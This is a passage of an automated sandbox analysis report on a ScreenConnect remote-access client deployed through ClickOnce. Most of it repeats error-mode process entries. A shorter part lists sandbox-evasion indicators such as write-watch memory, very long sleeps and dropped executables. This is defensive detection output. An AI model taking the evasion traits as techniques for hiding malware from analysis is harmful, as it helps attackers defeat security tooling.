Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 1E8B2260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 1E8CBC80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Memory allocated: 14D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Memory allocated: 1B150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 10A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 2E40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 2BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 14E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 1610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 3610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Memory allocated: 2860000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Memory allocated: 1AA40000 memory reserve \| memory write watch

Contains long sleeps (>= 3 min)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 782	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 3039	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 5603	Jump to behavior

Found dropped PE file which has not been started or loaded

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XY6LGGAR.JME\5G10PGPQ.9DO\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll	Jump to dropped file
